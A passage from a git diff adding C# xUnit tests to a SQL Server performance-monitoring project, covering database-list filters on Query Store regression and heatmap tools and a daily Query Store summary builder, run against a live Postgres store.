+    private const string QuietI = "QsFilterQuietI";
+    // Baseline captures only.
+    private const string BaseOnlyF = "QsFilterBaseOnlyF";
+    private const string BaseOnlyG = "QsFilterBaseOnlyG";
+    // Recent captures only.
+    private const string RecentOnlyD = "QsFilterRecentOnlyD";
+    private const string RecentOnlyE = "QsFilterRecentOnlyE";
+    // Heatmap: databases whose every capture ran nothing.
+    private const string IdleX = "QsFilterIdleX";
+    private const string IdleY = "QsFilterIdleY";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static JsonElement Root(string json) => JsonDocument.Parse(json).RootElement;
+
+    private static DateTime FloorToHour(DateTime value) =>
+        new(value.Ticks - (value.Ticks % TimeSpan.TicksPerHour), value.Kind);
+
+    private static DatabaseFilter Of(params string[] names) => DatabaseFilter.Of(names);
+
+    private static List<string> RegressionDatabases(JsonElement root) =>
+        root.GetProperty("regressions").EnumerateArray().Select(r => r.GetProperty("database_name").GetString()!).OrderBy(x => x, StringComparer.Ordinal).ToList();
+
+    private static List<string> HeatmapHashes(JsonElement root) =>
+        root.GetProperty("cells").EnumerateArray().Select(c => c.GetProperty("top_query_hash").GetString()!).OrderBy(x => x, StringComparer.Ordinal).ToList();
+
+    private static Task<string> Regressions(NpgsqlDataSource postgres, DatabaseFilter filter) =>
+        DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(
+            postgres, ServerName, 24, filter, 30, false, null, null, CancellationToken.None);
+
+    private static Task<string> Heatmap(NpgsqlDataSource postgres, DatabaseFilter filter) =>
+        DarlingMcpQueryHeatmapTools.GetQueryHeatmap(
+            postgres, ServerName, 24, null, filter, 5, 100, null, false, null, CancellationToken.None);
+
+    [Fact]
+    public async Task TheRegressionsOverload_WithAListOfDatabases_ReturnsOnlyThoseDatabases_AndEveryOneNameConsumerIsListAware_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live database filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var baseNow = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+
+            // A, B, C each carry one query that got 4x slower in the window.
+            long queryId = 10;
+            foreach (var db in new[] { A, B, C })
+            {
+                queryId++;
+                await SeedQsAsync(connection, ct, db, baseNow.AddHours(-40), 100, 1000, queryId, intervalId: 2);
+                await SeedQsAsync(connection, ct, db, baseNow.AddMinutes(-30), 200, 4000, queryId, intervalId: 1);
+            }
+
+            // H and I: both sides collected, flat.
+            foreach (var db in new[] { QuietH, QuietI })
+            {
+                await SeedQsAsync(connection, ct, db, baseNow.AddHours(-40), 100, 1000, 21, intervalId: 2);
+                await SeedQsAsync(connection, ct, db, baseNow.AddMinutes(-30), 100, 1000, 21, intervalId: 1);
+            }
+
+            foreach (var db in new[] { BaseOnlyF, BaseOnlyG })
+                await SeedQsAsync(connection, ct, db, baseNow.AddHours(-40), 100, 1000, 31, intervalId: 2);
+
+            foreach (var db in new[] { RecentOnlyD, RecentOnlyE })
+                await SeedQsAsync(connection, ct, db, baseNow.AddMinutes(-30), 100, 1000, 41, intervalId: 1);
+
+            // The rows: [A, B] over A, B and C is A and B only; one name is that one database; no filter is all three.
+            var all = Root(await Regressions(postgres, DatabaseFilter.All));
+            Assert.Equal([A, B, C], RegressionDatabases(all));
+            Assert.Equal(JsonValueKind.Null, all.GetProperty("database_name").ValueKind);
+
+            var two = Root(await Regressions(postgres, Of(A, B)));
+            Assert.Equal([A, B], RegressionDatabases(two));
+            Assert.Equal(DatabaseFilter.ManyDatabasesDescription, two.GetProperty("database_name").GetString());
+
+            var reordered = Root(await Regressions(postgres, Of(C, A)));
+            Assert.Equal([A, C], RegressionDatabases(reordered));
+
+            // One name is what the public method returns for that name, byte for byte.
+            var oneOverload = await Regressions(postgres, DatabaseFilter.One(B));
+            var onePublic = await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24, B);
+            Assert.Equal(StripWindowEcho(onePublic), StripWindowEcho(oneOverload));
+            Assert.Equal([B], RegressionDatabases(Root(oneOverload)));
+            Assert.Equal(B, Root(oneOverload).GetProperty("database_name").GetString());
+
+            // The empty answers (EmptyAsync): each names the chosen databases, in the plural, and keeps its status.
+            var neither = Root(await Regressions(postgres, Of("QsNoSuchOne", "QsNoSuchTwo")));
+            Assert.Equal("empty", neither.GetProperty("status").GetString());
+            var neitherText = neither.GetProperty("message").GetString()!;
+            Assert.Contains("matched the chosen databases, so the filter matched nothing and this is NOT the all-clear: no query in those databases was compared. Check the database names,", neitherText, StringComparison.Ordinal);
+
+            var noBaseline = Root(await Regressions(postgres, Of(RecentOnlyD, RecentOnlyE)));
+            Assert.Equal("unavailable", noBaseline.GetProperty("status").GetString());
+            var noBaselineText = noBaseline.GetProperty("message").GetString()!;
+            Assert.Contains("no Query Store capture of the chosen databases in the 7-day baseline window", noBaselineText, StringComparison.Ordinal);
+            Assert.Contains("no baseline for those databases to compare against and no regression of their queries", noBaselineText, StringComparison.Ordinal);
+            Assert.Contains("Either those databases' whole collected history falls inside the last 24 hour(s), or they have none older", noBaselineText, StringComparison.Ordinal);
+
+            var noRecent = Root(await Regressions(postgres, Of(BaseOnlyF, BaseOnlyG)));
+            Assert.Equal("empty", noRecent.GetProperty("status").GetString());
+            var noRecentText = noRecent.GetProperty("message").GetString()!;
+            Assert.Contains("has Query Store history of the chosen databases from before this window but nothing of them collected IN the last 24 hour(s), so those databases' recent side is missing", noRecentText, StringComparison.Ordinal);
+
+            // Both sides collected for every chosen database: the filtered answers fall through to the all-clear's own text.
+            var quiet = Root(await Regressions(postgres, Of(QuietH, QuietI)));
+            Assert.Equal("empty", quiet.GetProperty("status").GetString());
+            Assert.DoesNotContain("NOT the all-clear", quiet.GetProperty("message").GetString()!, StringComparison.Ordinal);
+
+            // One name: the three filtered answers read exactly as they did (the public method, which passes one name).
+            var oneNeither = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24, "QsNoSuchOne"));
+            Assert.Contains("matched database_name 'QsNoSuchOne', so the filter matched nothing and this is NOT the all-clear: no query in that database was compared. Check the database name, or drop", oneNeither.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            var oneNoBaseline = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24, RecentOnlyD));
+            Assert.Equal("unavailable", oneNoBaseline.GetProperty("status").GetString());
+            Assert.Contains($"no Query Store capture of database_name '{RecentOnlyD}' in the 7-day baseline window before this window, so there is no baseline for that database to compare against and no regression of its queries", oneNoBaseline.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            Assert.Contains("Either that database's whole collected history falls inside the last 24 hour(s), or it has none older", oneNoBaseline.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            var oneNoRecent = Root(await DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(postgres, ServerName, 24, BaseOnlyF));
+            Assert.Contains($"has Query Store history of database_name '{BaseOnlyF}' from before this window but nothing of it collected IN the last 24 hour(s), so that database's recent side is missing", oneNoRecent.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            // ... and the overload with one name says the same thing.
+            Assert.Equal(oneNoRecent.GetProperty("message").GetString(), Root(await Regressions(postgres, DatabaseFilter.One(BaseOnlyF))).GetProperty("message").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task TheHeatmapOverload_WithAListOfDatabases_ReturnsOnlyThoseDatabases_AndEveryOneNameConsumerIsListAware_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live database filter test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var t1 = FloorToHour(DateTime.UtcNow.AddHours(-3));
+
+            // One hot query per database, each in its own 5-minute bin so they cannot share a cell.
+            await SeedQueryStatsAsync(connection, ct, A, t1, "0xHOTA", 5, 250_000);
+            await SeedQueryStatsAsync(connection, ct, B, t1.AddMinutes(10), "0xHOTB", 5, 250_000);
+            await SeedQueryStatsAsync(connection, ct, C, t1.AddMinutes(20), "0xHOTC", 5, 250_000);
+
+            // Idle databases: captured, zero executions.
+            await SeedQueryStatsAsync(connection, ct, IdleX, t1.AddMinutes(30), "0xIDLEX", 0, 999_000);
+            await SeedQueryStatsAsync(connection, ct, IdleY, t1.AddMinutes(30), "0xIDLEY", 0, 999_000);
+
+            var all = Root(await Heatmap(postgres, DatabaseFilter.All));
+            Assert.Equal(["0xHOTA", "0xHOTB", "0xHOTC"], HeatmapHashes(all));
+            Assert.Equal(JsonValueKind.Null, all.GetProperty("database_name").ValueKind);
+
+            var two = Root(await Heatmap(postgres, Of(A, B)));
+            Assert.Equal(["0xHOTA", "0xHOTB"], HeatmapHashes(two));
+            Assert.Equal(DatabaseFilter.ManyDatabasesDescription, two.GetProperty("database_name").GetString());
+
+            var oneOverload = await Heatmap(postgres, DatabaseFilter.One(C));
+            var onePublic = await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 24, database_name: C);
+            Assert.Equal(StripWindowEcho(onePublic), StripWindowEcho(oneOverload));
+            Assert.Equal(["0xHOTC"], HeatmapHashes(Root(oneOverload)));
+            Assert.Equal(C, Root(oneOverload).GetProperty("database_name").GetString());
+
+            // The idle-grid answer: the covered claim names the filter, and the window floor does not speak for it.
+            var twoIdle = Root(await Heatmap(postgres, Of(IdleX, IdleY)));
+            Assert.Equal("empty", twoIdle.GetProperty("status").GetString());
+            var twoIdleText = twoIdle.GetProperty("message").GetString()!;
+            Assert.Contains("and so does a filter on the chosen databases matching nothing collected.", twoIdleText, StringComparison.Ordinal);
+            Assert.DoesNotContain("database_name filter", twoIdleText, StringComparison.Ordinal);
+
+            var oneIdleOverload = Root(await Heatmap(postgres, DatabaseFilter.One(IdleX)));
+            var oneIdlePublic = Root(await DarlingMcpQueryHeatmapTools.GetQueryHeatmap(postgres, ServerName, 24, database_name: IdleX));
+            Assert.Contains("and so does a database_name filter matching nothing collected.", oneIdlePublic.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            Assert.Equal(oneIdlePublic.GetProperty("message").GetString(), oneIdleOverload.GetProperty("message").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>One name is the same JSON whichever method built it, except for the window instants, which each call
+    /// takes from its own clock. Those fields are dropped from both before they are compared.</summary>
+    private static string StripWindowEcho(string json)
+    {
+        using var doc = JsonDocument.Parse(json);
+        return RemoveVolatile(doc.RootElement);
+    }
+
+    private static string RemoveVolatile(JsonElement root)
+    {
+        var parts = new List<string>();
+        foreach (var property in root.EnumerateObject())
+        {
+            if (property.Name is "recent_window_start" or "recent_window_end" or "baseline_start" or "baseline_end" or "window_start" or "window_end")
+                continue;
+            parts.Add($"\"{property.Name}\":{property.Value.GetRawText()}");
+        }
+
+        return "{" + string.Join(",", parts) + "}";
+    }
+
+    private static async Task SeedQsAsync(
+        NpgsqlConnection connection, CancellationToken ct, string database, DateTime collectionTime, long executions,
+        long avgUs, long queryId, long intervalId) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id,
+     execution_type_desc, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads,
+     runtime_stats_interval_id, query_text, last_execution_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectionTime), ServerId, ServerName,
+            database, queryId, 9L, "Regular", executions, avgUs, avgUs, 100L, intervalId,
+            "SELECT * FROM dbo.Widgets", DarlingMcpTestData.Naive(collectionTime));
+
+    private static async Task SeedQueryStatsAsync(
+        NpgsqlConnection connection, CancellationToken ct, string database, DateTime collectionTime, string queryHash,
+        long deltaExec, long deltaElapsed) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+     sample_interval_seconds, delta_execution_count, delta_worker_time, delta_elapsed_time,
+     delta_logical_reads, delta_logical_writes, query_text)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectionTime), ServerId, ServerName,
+            database, queryHash, 60, deltaExec, 0L, deltaElapsed, 0L, 0L, "SELECT * FROM dbo.Widgets");
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM query_store_stats WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM query_stats WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = $1", ServerId);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreSliceTieBreakSourceTests.cs b/Darling/Darling.Tests/QueryStoreSliceTieBreakSourceTests.cs
index 2abf21a9c3..4b83c1cb01 100644
--- a/Darling/Darling.Tests/QueryStoreSliceTieBreakSourceTests.cs
+++ b/Darling/Darling.Tests/QueryStoreSliceTieBreakSourceTests.cs
@@ -130,6 +130,20 @@ public void TheTieBreakNeverBecomesThePrimarySort()
         }
     }
 
+    [Fact]
+    public void ComposeCompiler_DedupePartitionByLiteral_EqualsTheRestrictionKey()
+    {
+        /* The dedupe spells its PARTITION BY list as a literal (this guard's regex has to see it); the
+           restriction joins on PerformanceMonitor.Darling.Service.ComposeCompiler.s_queryStorePartitionKey.
+           A drift between the two would make the restriction keep the wrong partitions. */
+        var source = File.ReadAllText(SourcePath(Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "Compose", "ComposeCompiler.cs")));
+        var m = Regex.Match(source, @"ROW_NUMBER\(\) OVER \(PARTITION BY ""\s*\+\s*\$""(?<cols>[^""]+?)\s*""\s*\+\s*\$""ORDER BY");
+        Assert.True(m.Success, "the Query Store dedupe's literal PARTITION BY list was not found in ComposeCompiler.cs");
+        Assert.Equal(
+            string.Join(", ", PerformanceMonitor.Darling.Service.ComposeCompiler.s_queryStorePartitionKey),
+            m.Groups["cols"].Value);
+    }
+
     /// <summary>Walks up from the test binary to the repo root so the pin works from any run directory.</summary>
     private static string SourcePath(string relative)
     {
diff --git a/Darling/Darling.Tests/QueryStoreStatePruneTests.cs b/Darling/Darling.Tests/QueryStoreStatePruneTests.cs
index c0cf12f65c..4ae16b6ec2 100644
--- a/Darling/Darling.Tests/QueryStoreStatePruneTests.cs
+++ b/Darling/Darling.Tests/QueryStoreStatePruneTests.cs
@@ -40,6 +40,7 @@ namespace Darling.Tests;
 /// itself lives in the shared <see cref="QueryStorePerDatabaseState"/> so a prefix cannot end up pruned on
 /// one SKU and orphaning on the other.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class QueryStoreStatePruneTests
 {
     private static string Qsowm(string database) => QueryStoreOpenIntervalState.WatermarkKeyPrefix + database;
diff --git a/Darling/Darling.Tests/QueryStoreTopDailyBuilderLiveTests.cs b/Darling/Darling.Tests/QueryStoreTopDailyBuilderLiveTests.cs
new file mode 100644
index 0000000000..f43eca5795
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreTopDailyBuilderLiveTests.cs
@@ -0,0 +1,758 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the builder of the daily Query Store summary (#5094), <see cref="QueryStoreTopDaily"/>. The summary is
+/// approximate by design: a day is summarized after it ends, and a row that changes afterwards is missed or, for about a
+/// day, counted twice. These facts pin what the builder does exactly (a built day equals a direct GROUP BY of the wide
+/// table, to the second), when it builds (two passes, the oldest days first, a cap per tick), and the one residual the
+/// second pass clears. Every seed is at a fixed past date and every call passes <c>nowUtc</c> explicitly, so no fact
+/// reads the clock. Live facts run when <c>DARLING_TEST_PG</c> is set, each on its own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryStoreTopDailyBuilderLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the daily summary builder's live pins (each mints its own scratch database).";
+
+    private const int RetentionDays = 9;
+
+    private static readonly DateTime Day = new(2026, 1, 10, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task<NpgsqlConnection> MigratedAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static string At(DateTime value) => value.ToString("yyyy-MM-dd HH:mm:ss.ffffff", System.Globalization.CultureInfo.InvariantCulture);
+
+    /// <summary>Enrolls the server (enabled unless told otherwise) and gives it a wide-table coverage claim.</summary>
+    private static async Task CoverAsync(
+        NpgsqlConnection connection, int serverId, CancellationToken ct, string filledSince = "2025-12-01 00:00:00", bool enabled = true)
+    {
+        await ExecAsync(connection,
+            $"INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES ({serverId}, 'srv{serverId}', {(enabled ? "TRUE" : "FALSE")}) ON CONFLICT (server_id) DO NOTHING", ct);
+        await ExecAsync(connection,
+            $"INSERT INTO collect.query_store_interval_wide_coverage (server_id, filled_since, applied_through) VALUES ({serverId}, TIMESTAMP '{filledSince}', TIMESTAMP '2026-03-01 00:00:00')", ct);
+    }
+
+    private static int s_interval;
+
+    /// <summary>One wide-table row. Unset average columns stay NULL; the interval began ten minutes before it was collected.</summary>
+    private static async Task SeedAsync(
+        NpgsqlConnection connection, int serverId, DateTime collectionTime, long queryId, CancellationToken ct,
+        string? moduleName = null, string? replicaRole = null, long? executionCount = null, long? duration = null,
+        long? cpu = null, long? reads = null, long? writes = null, long? physical = null, long? rowcount = null,
+        DateTime? lastExecution = null, string? planHash = null, DateTime? firstExecution = null)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads, avg_logical_io_writes,
+ avg_physical_io_reads, avg_rowcount, query_plan_hash, replica_role, runtime_stats_interval_id, interval_start_time_utc)
+VALUES
+(@ct, @server, 'db1', @query, @query, 'Regular', @first, @last,
+ @module, 'h' || @query, @ec, @dur, @cpu, @reads, @writes,
+ @phys, @rows, @ph, @replica, @interval, @ct - interval '10 minutes')", connection);
+        command.Parameters.Add(new NpgsqlParameter("ct", NpgsqlDbType.Timestamp) { Value = collectionTime });
+        command.Parameters.Add(new NpgsqlParameter("server", NpgsqlDbType.Integer) { Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter("query", NpgsqlDbType.Bigint) { Value = queryId });
+        command.Parameters.Add(new NpgsqlParameter("first", NpgsqlDbType.Timestamp) { Value = firstExecution ?? collectionTime.AddMinutes(-10) });
+        command.Parameters.Add(new NpgsqlParameter("last", NpgsqlDbType.Timestamp) { Value = (object?)lastExecution ?? collectionTime });
+        command.Parameters.Add(new NpgsqlParameter("module", NpgsqlDbType.Text) { Value = (object?)moduleName ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("ec", NpgsqlDbType.Bigint) { Value = (object?)executionCount ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("dur", NpgsqlDbType.Bigint) { Value = (object?)duration ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("cpu", NpgsqlDbType.Bigint) { Value = (object?)cpu ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("reads", NpgsqlDbType.Bigint) { Value = (object?)reads ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("writes", NpgsqlDbType.Bigint) { Value = (object?)writes ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("phys", NpgsqlDbType.Bigint) { Value = (object?)physical ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("rows", NpgsqlDbType.Bigint) { Value = (object?)rowcount ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("ph", NpgsqlDbType.Text) { Value = (object?)planHash ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("replica", NpgsqlDbType.Text) { Value = (object?)replicaRole ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("interval", NpgsqlDbType.Bigint) { Value = (long)Interlocked.Increment(ref s_interval) });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static NpgsqlDataSource DataSource(ScratchPostgres scratch) => NpgsqlDataSource.Create(scratch.ConnectionString);
+
+    private static async Task<long> TickBuiltAsync(NpgsqlDataSource source, DateTime nowUtc)
+    {
+        var result = await QueryStoreTopDaily.RunTickAsync(source, nowUtc, RetentionDays, NullLogger.Instance, TestContext.Current.CancellationToken);
+        Assert.Equal(0, result.Failed);
+        return result.Built;
+    }
+
+    private static async Task<(short Pass, DateTime BuiltAt, long SourceRows)?> BuiltRowAsync(NpgsqlConnection connection, int serverId, DateTime day, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            $"SELECT pass, built_at, source_rows FROM collect.query_store_top_daily_built WHERE server_id = {serverId} AND day = DATE '{At(day)[..10]}'", connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        return await reader.ReadAsync(ct) ? (reader.GetInt16(0), reader.GetDateTime(1), reader.GetInt64(2)) : null;
+    }
+
+    private static async Task<long> SummarizedRowsAsync(NpgsqlConnection connection, int serverId, DateTime day, CancellationToken ct) =>
+        Convert.ToInt64(await ScalarAsync(connection,
+            $"SELECT COALESCE(sum(interval_rows), 0) FROM collect.query_store_top_daily WHERE server_id = {serverId} AND day = DATE '{At(day)[..10]}'", ct));
+
+    private static async Task RunLiveAsync(Func<ScratchPostgres, NpgsqlConnection, CancellationToken, Task> body)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await body(scratch, connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ABuiltDay_EqualsADirectGroupByOfTheWideRows_EveryColumn_NullsIncluded()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            /* Group 1: three intervals, one with every average NULL. Group 2: every average NULL on both rows (so
+               _n = 0 and _sum is NULL). Group 3: a module and a replica role. Group 4: another server, same day. */
+            await SeedAsync(connection, 1, Day.AddHours(3), 1, ct, executionCount: 5, duration: 100, cpu: 10, reads: 1000, writes: 7, physical: 2, rowcount: 3, planHash: "a");
+            await SeedAsync(connection, 1, Day.AddHours(4), 1, ct, executionCount: 7, duration: 200, cpu: 30, reads: 3000, writes: 9, physical: 4, rowcount: 5, planHash: "b", lastExecution: Day.AddHours(9));
+            await SeedAsync(connection, 1, Day.AddHours(5), 1, ct);
+            await SeedAsync(connection, 1, Day.AddHours(6), 2, ct, executionCount: 11);
+            await SeedAsync(connection, 1, Day.AddHours(7), 2, ct);
+            await SeedAsync(connection, 1, Day.AddHours(8), 3, ct, moduleName: "dbo.p", replicaRole: "PRIMARY", executionCount: 2, duration: 50, cpu: 5);
+            await SeedAsync(connection, 2, Day.AddHours(8), 1, ct, executionCount: 99, duration: 1);
+            await CoverAsync(connection, 1, ct);
+            await CoverAsync(connection, 2, ct);
+
+            var sourceRows = await QueryStoreTopDaily.BuildDayAsync(connection, 1, DateOnly.FromDateTime(Day), 1, Day.AddDays(1).AddHours(2), ct);
+            Assert.Equal(6L, sourceRows);
+
+            const string Direct = @"
+SELECT server_id, DATE '2026-01-10' AS day, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name,
+       count(*) AS interval_rows, sum(execution_count) AS execution_count_sum,
+       sum(avg_duration_us::numeric) AS avg_duration_us_sum, count(avg_duration_us) AS avg_duration_us_n,
+       sum(avg_cpu_time_us::numeric) AS avg_cpu_time_us_sum, count(avg_cpu_time_us) AS avg_cpu_time_us_n,
+       sum(avg_logical_io_reads::numeric) AS avg_logical_io_reads_sum, count(avg_logical_io_reads) AS avg_logical_io_reads_n,
+       sum(avg_logical_io_writes::numeric) AS avg_logical_io_writes_sum, count(avg_logical_io_writes) AS avg_logical_io_writes_n,
+       sum(avg_physical_io_reads::numeric) AS avg_physical_io_reads_sum, count(avg_physical_io_reads) AS avg_physical_io_reads_n,
+       sum(avg_rowcount::numeric) AS avg_rowcount_sum, count(avg_rowcount) AS avg_rowcount_n,
+       max(last_execution_time) AS last_execution_time_max, max(query_plan_hash) AS query_plan_hash_max, min(first_execution_time) AS first_execution_time_min
+FROM collect.query_store_interval_wide
+WHERE server_id = 1 AND collection_time >= TIMESTAMP '2026-01-10' AND collection_time < TIMESTAMP '2026-01-11'
+GROUP BY server_id, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name";
+            const string Stored = "SELECT * FROM collect.query_store_top_daily WHERE server_id = 1 AND day = DATE '2026-01-10'";
+
+            Assert.Equal(3L, await ScalarAsync(connection, $"SELECT count(*) FROM ({Stored}) s", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, $"SELECT count(*) FROM (({Stored}) EXCEPT ({Direct})) x", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, $"SELECT count(*) FROM (({Direct}) EXCEPT ({Stored})) x", ct));
+
+            /* The all-NULL group keeps its row: _n = 0, _sum NULL; and the key's NULLs stay NULL. */
+            Assert.Equal(1L, await ScalarAsync(connection,
+                "SELECT count(*) FROM collect.query_store_top_daily WHERE server_id = 1 AND query_id = 2 AND avg_duration_us_n = 0 AND avg_duration_us_sum IS NULL AND avg_rowcount_n = 0 AND replica_role IS NULL AND module_name IS NULL AND execution_count_sum = 11 AND interval_rows = 2", ct));
+            Assert.Equal(1L, await ScalarAsync(connection,
+                "SELECT count(*) FROM collect.query_store_top_daily WHERE server_id = 1 AND query_id = 1 AND avg_duration_us_sum = 300 AND avg_duration_us_n = 2 AND interval_rows = 3 AND execution_count_sum = 12 AND query_plan_hash_max = 'b'", ct));
+
+            Assert.Equal((short)1, (await BuiltRowAsync(connection, 1, Day, ct))!.Value.Pass);
+            Assert.Equal(6L, (await BuiltRowAsync(connection, 1, Day, ct))!.Value.SourceRows);
+            Assert.Null(await BuiltRowAsync(connection, 2, Day, ct));
+            Assert.Equal(0L, await SummarizedRowsAsync(connection, 2, Day, ct));
+        });
+    }
+
+    [Fact]
+    public async Task TheDayIsHalfOpen_RowsAtMidnightStartTheDay_AndNextMidnightIsNotIn()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await SeedAsync(connection, 1, Day.AddTicks(-10), 1, ct, executionCount: 1);
+            await SeedAsync(connection, 1, Day, 2, ct, executionCount: 1);
+            await SeedAsync(connection, 1, Day.AddDays(1).AddTicks(-10), 3, ct, executionCount: 1);
+            await SeedAsync(connection, 1, Day.AddDays(1), 4, ct, executionCount: 1);
+            await CoverAsync(connection, 1, ct);
+
+            Assert.Equal(2L, await QueryStoreTopDaily.BuildDayAsync(connection, 1, DateOnly.FromDateTime(Day), 1, Day.AddDays(1).AddHours(2), ct));
+            Assert.Equal(new long[] { 2, 3 },
